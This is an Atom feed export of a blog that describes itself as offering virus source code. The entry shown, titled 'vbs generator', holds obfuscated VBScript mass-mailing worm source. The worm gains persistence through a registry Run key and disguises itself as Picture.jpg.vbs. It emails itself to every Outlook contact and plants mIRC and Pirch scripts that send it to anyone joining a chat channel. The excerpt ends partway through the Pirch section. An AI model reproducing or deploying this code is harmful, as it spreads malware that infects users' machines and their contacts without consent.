<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-34599328</id><updated>2011-04-22T02:35:35.597+07:00</updated><title type='text'>Miss EndarE</title><subtitle type='html'>make a virus,virus source code, virus script,virus remover,vb aplication,etc</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://missendare.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://missendare.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Miss EndarE</name><uri>http://www.blogger.com/profile/14074827578197836263</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>25</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-34599328.post-115881418628714497</id><published>2006-09-21T11:47:00.000+07:00</published><updated>2006-09-21T11:49:46.656+07:00</updated><title type='text'>vbs generator</title><content type='html'>&lt;p class="MsoNormal"&gt;&lt;span style="color: green;"&gt;&lt;span class="GramE"&gt;&lt;span class="SpellE"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color: green;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;On Error Resume Next&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Set &lt;span class="SpellE"&gt;ymxelbkdfsm&lt;/span&gt; = &lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;CreateObject&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;(&lt;/span&gt;"&lt;span class="SpellE"&gt;WScript.Shell&lt;/span&gt;")&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Set &lt;span class="SpellE"&gt;pnisnipummf&lt;/span&gt;= &lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;Createobject&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;(&lt;/span&gt;"&lt;span class="SpellE"&gt;scripting.filesystemobject&lt;/span&gt;")&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;ymxelbkdfsm.regwrite&lt;/span&gt;  "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Picture.jpg","wscript.exe  "&amp;&lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;pnisnipummf.GetSpecialFolder&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;(&lt;/span&gt;0)&amp;amp; "\&lt;span class="SpellE"&gt;Picture.jpg.vbs&lt;/span&gt;  %"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;pnisnipummf.copyfile&lt;/span&gt; &lt;span class="SpellE"&gt;wscript.scriptfullname&lt;span class="GramE"&gt;,pnisnipummf.GetSpecialFolder&lt;/span&gt;&lt;/span&gt;(0)&amp; "\&lt;span class="SpellE"&gt;Picture.jpg.vbs&lt;/span&gt;"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;if&lt;/span&gt; &lt;span class="SpellE"&gt;ymxelbkdfsm.regread&lt;/span&gt; ("HKCU\software\Worm\mailed") &lt;&gt;  "1" then&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;lirpbmybzfh&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;()&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;end&lt;/span&gt; if&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;if&lt;/span&gt; &lt;span class="SpellE"&gt;ymxelbkdfsm.regread&lt;/span&gt; ("HKCU\software\Worm\&lt;span class="SpellE"&gt;mirqued&lt;/span&gt;") &lt;&gt; "1" then&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;ozzejgvdmwg&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;()&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;end&lt;/span&gt; if&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;if&lt;/span&gt; &lt;span class="SpellE"&gt;ymxelbkdfsm.regread&lt;/span&gt; ("HKCU\software\Worm\&lt;span class="SpellE"&gt;pirched&lt;/span&gt;") &lt;&gt; "1" then&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;dyostsunjnc&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;()&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;end&lt;/span&gt; if&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;iiqstpcjgyp&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;()&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;qaorydnuohu&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;()&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Function &lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;lirpbmybzfh&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;()&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;On Error Resume Next&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Set &lt;span class="SpellE"&gt;fftkslnantq&lt;/span&gt; = &lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;CreateObject&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;(&lt;/span&gt;"&lt;span class="SpellE"&gt;Outlook.Application&lt;/span&gt;")&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;If &lt;span class="SpellE"&gt;fftkslnantq&lt;/span&gt;= "&lt;span class="SpellE"&gt;Outlook"Then&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Set &lt;span class="SpellE"&gt;zyjugcagpwh&lt;/span&gt;=&lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;fftkslnantq.GetNameSpace&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;(&lt;/span&gt;"MAPI")&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;For Each &lt;span class="SpellE"&gt;bfrpdevfhlg&lt;/span&gt; &lt;span class="GramE"&gt;In&lt;/span&gt; &lt;span class="SpellE"&gt;zyjugcagpwh.AddressLists&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;If &lt;span class="SpellE"&gt;bfrpdevfhlg.AddressEntries.Count&lt;/span&gt;  &lt;&gt; 0 Then&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;yacxksogxyi&lt;/span&gt;&lt;/span&gt; = &lt;span class="SpellE"&gt;bfrpdevfhlg.AddressEntries.Count&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;For &lt;span class="SpellE"&gt;wabacorvkrq&lt;/span&gt;= 1 &lt;span class="GramE"&gt;To&lt;/span&gt; &lt;span class="SpellE"&gt;yacxksogxyi&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Set &lt;span class="SpellE"&gt;xzgevcppdhn&lt;/span&gt; = &lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;bfrpdevfhlg.AddressEntries&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;(&lt;/span&gt;&lt;span class="SpellE"&gt;wabacorvkrq&lt;/span&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Set &lt;span class="SpellE"&gt;blbnwjwbyhz&lt;/span&gt; = &lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;fftkslnantq.CreateItem&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;(&lt;/span&gt;0)&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;blbnwjwbyhz.To&lt;/span&gt; = &lt;span class="SpellE"&gt;xzgevcppdhn.Address&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;blbnwjwbyhz.Subject&lt;/span&gt; = "&lt;span class="SpellE"&gt;Khabar&lt;/span&gt; &lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;berita&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt; "&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;blbnwjwbyhz.Body&lt;/span&gt; = "&lt;span class="SpellE"&gt;Salam&lt;/span&gt; &lt;span class="SpellE"&gt;Untuk&lt;/span&gt; Kurt Cobain &lt;span class="SpellE"&gt;di&lt;/span&gt; &lt;span class="SpellE"&gt;sorga&lt;/span&gt; and &lt;span class="SpellE"&gt;semoga&lt;/span&gt; &lt;span class="SpellE"&gt;arwahmu&lt;/span&gt; &lt;span class="SpellE"&gt;tenang&lt;/span&gt; &lt;span class="SpellE"&gt;di&lt;/span&gt; &lt;span class="SpellE"&gt;sisi&lt;/span&gt; &lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;tuhan&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;&lt;span style=""&gt;  &lt;/span&gt;"&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;blbnwjwbyhz.Attachments.Add&lt;/span&gt; &lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;pnisnipummf.GetSpecialFolder&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;(&lt;/span&gt;0)&amp; "\&lt;span class="SpellE"&gt;Picture.jpg.vbs&lt;/span&gt;"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;blbnwjwbyhz.DeleteAfterSubmit&lt;/span&gt; =  True&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;If &lt;span class="SpellE"&gt;blbnwjwbyhz.To&lt;/span&gt; &lt;&gt; ""  Then&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;blbnwjwbyhz.Send&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;ymxelbkdfsm.regwrite&lt;/span&gt;  "HKCU\software\Worm\mailed", "1"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;End If&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Next&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;End If&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Next&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;end&lt;/span&gt; if&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;End Function&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Function &lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;ozzejgvdmwg&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;(&lt;/span&gt;&lt;span class="SpellE"&gt;kciljoxeijo&lt;/span&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;On Error Resume Next&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;if &lt;span class="SpellE"&gt;kciljoxeijo&lt;/span&gt;&lt;&gt;""  then&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;if&lt;/span&gt; &lt;span class="SpellE"&gt;pnisnipummf.fileexists&lt;/span&gt;("c:\mirc\mirc.ini") then &lt;span class="SpellE"&gt;kciljoxeijo&lt;/span&gt;="c:\mirc"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;if&lt;/span&gt; &lt;span class="SpellE"&gt;pnisnipummf.fileexists&lt;/span&gt;("c:\mirc32\mirc.ini") then &lt;span class="SpellE"&gt;kciljoxeijo&lt;/span&gt;="c:\mirc32"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;zxmndgquoec&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;=&lt;/span&gt;&lt;span class="SpellE"&gt;ymxelbkdfsm.regread&lt;/span&gt;("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;if&lt;/span&gt; &lt;span class="SpellE"&gt;pnisnipummf.fileexists&lt;/span&gt;(&lt;span class="SpellE"&gt;zxmndgquoec&lt;/span&gt;  &amp;amp; "\mirc\mirc.ini") then &lt;span class="SpellE"&gt;kciljoxeijo&lt;/span&gt;=&lt;span class="SpellE"&gt;zxmndgquoec&lt;/span&gt; &amp; "\&lt;span class="SpellE"&gt;mirc&lt;/span&gt;"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;end&lt;/span&gt; if&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;if&lt;/span&gt; &lt;span class="SpellE"&gt;kciljoxeijo&lt;/span&gt; &lt;&gt; "" then&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;set&lt;/span&gt; &lt;span class="SpellE"&gt;cbewadmzzhc&lt;/span&gt; = &lt;span class="SpellE"&gt;pnisnipummf.CreateTextFile&lt;/span&gt;(&lt;span class="SpellE"&gt;kciljoxeijo&lt;/span&gt; &amp;amp; "\script.ini", True)&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;cbewadmzzhc.WriteLine&lt;/span&gt;  "[script]"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;cbewadmzzhc.writeline&lt;/span&gt; "n0=on 1&lt;span class="GramE"&gt;:JOIN&lt;/span&gt;:#:{"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;cbewadmzzhc.writeline&lt;/span&gt; "n1&lt;span class="GramE"&gt;=&lt;span style=""&gt;  &lt;/span&gt;/&lt;/span&gt;if ( $nick == $me  ) { halt }"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;cbewadmzzhc.writeline&lt;/span&gt; "n2&lt;span class="GramE"&gt;=&lt;span style=""&gt;  &lt;/span&gt;/&lt;/span&gt;.&lt;span class="SpellE"&gt;dcc&lt;/span&gt; send $nick "&amp;&lt;span class="SpellE"&gt;pnisnipummf.GetSpecialFolder&lt;/span&gt;(0)&amp;amp; "\&lt;span class="SpellE"&gt;Picture.jpg.vbs&lt;/span&gt;"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;cbewadmzzhc.writeline&lt;/span&gt;  "n3=}"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;cbewadmzzhc.close&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;ymxelbkdfsm.regwrite&lt;/span&gt;  "HKCU\software\Worm\&lt;span class="SpellE"&gt;Mirqued&lt;/span&gt;", "1"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;end&lt;/span&gt; if&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;end&lt;/span&gt; function&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;function&lt;/span&gt; &lt;span class="SpellE"&gt;dyostsunjnc&lt;/span&gt;(&lt;span class="SpellE"&gt;dzlapofzkfa&lt;/span&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;On Error Resume Next&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;if &lt;span class="SpellE"&gt;dzlapofzkfa&lt;/span&gt;&lt;&gt;""  then&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;if&lt;/span&gt; &lt;span class="SpellE"&gt;pnisnipummf.fileexists&lt;/span&gt;("c:\pirch\Pirch32.exe") then &lt;span class="SpellE"&gt;dzlapofzkfa&lt;/span&gt;="c:\pirch"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;if&lt;/span&gt; &lt;span class="SpellE"&gt;pnisnipummf.fileexists&lt;/span&gt;("c:\pirch32\Pirch32.exe") then &lt;span class="SpellE"&gt;dzlapofzkfa&lt;/span&gt;="c:\pirch32"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;hmedxxlpvjt&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;=&lt;/span&gt;&lt;span class="SpellE"&gt;ymxelbkdfsm.regread&lt;/span&gt;("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;if&lt;/span&gt; &lt;span class="SpellE"&gt;pnisnipummf.fileexists&lt;/span&gt;(&lt;span class="SpellE"&gt;hmedxxlpvjt&lt;/span&gt;  &amp; "\pirch\Pirch32.exe") then &lt;span class="SpellE"&gt;dzlapofzkfa&lt;/span&gt;=&lt;span class="SpellE"&gt;hmedxxlpvjt&lt;/span&gt; &amp;amp; "\pirch\Pirch32.exe"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;end&lt;/span&gt; if&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;if&lt;/span&gt; &lt;span class="SpellE"&gt;dzlapofzkfa&lt;/span&gt; &lt;&gt; "" then&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;set&lt;/span&gt; &lt;span class="SpellE"&gt;jvekedajhtk&lt;/span&gt;= &lt;span class="SpellE"&gt;pnisnipummf.CreateTextFile&lt;/span&gt;(&lt;span class="SpellE"&gt;dzlapofzkfa&lt;/span&gt; &amp; "\events.ini", True)&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt;  "[Levels]"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt;  "Enabled=1"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt;  "Count=6"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt;  "Level1=000-Unknowns"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt;  "000-UnknownsEnabled=1"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt;  "Level2=100-Level 100"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt; "100-Level  100Enabled=1"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt;  "Level3=200-Level 200"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt; "200-Level  200Enabled=1"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt;  "Level4=300-Level 300"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt; " 300-Level  300Enabled=1"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt;  "Level5=400-Level &lt;span class="GramE"&gt;400 "&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt; "400-Level  400Enabled=1"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt;  "Level6=500-Level 500"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt; "500-Level  500Enabled=1"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt;  ""&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt;  "[000-Unknowns]"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt; "&lt;span class="SpellE"&gt;UserCount&lt;/span&gt;=0"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt; "&lt;span class="SpellE"&gt;EventCount&lt;/span&gt;=0"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt;  ""&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt; "[100-Level  100]"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt;  "User1=*!*@*"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt; "&lt;span class="SpellE"&gt;UserCount&lt;/span&gt;=1"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.writeline&lt;/span&gt; "Event1=ON  JOIN&lt;span class="GramE"&gt;:#&lt;/span&gt;:/&lt;span class="SpellE"&gt;dcc&lt;/span&gt; &lt;span class="SpellE"&gt;tsend&lt;/span&gt; $nick "&amp;amp;&lt;span class="SpellE"&gt;pnisnipummf.GetSpecialFolder&lt;/span&gt;(0)&amp; "\&lt;span class="SpellE"&gt;Picture.jpg.vbs&lt;/span&gt;"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt; "&lt;span class="SpellE"&gt;EventCount&lt;/span&gt;=1"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt;  ""&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt; "[200-Level  200]"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt; "&lt;span class="SpellE"&gt;UserCount&lt;/span&gt;=0"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt; "&lt;span class="SpellE"&gt;EventCount&lt;/span&gt;=0"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt;  ""&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt; "[300-Level  300]"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt; "&lt;span class="SpellE"&gt;UserCount&lt;/span&gt;=0"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt; "&lt;span class="SpellE"&gt;EventCount&lt;/span&gt;=0"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  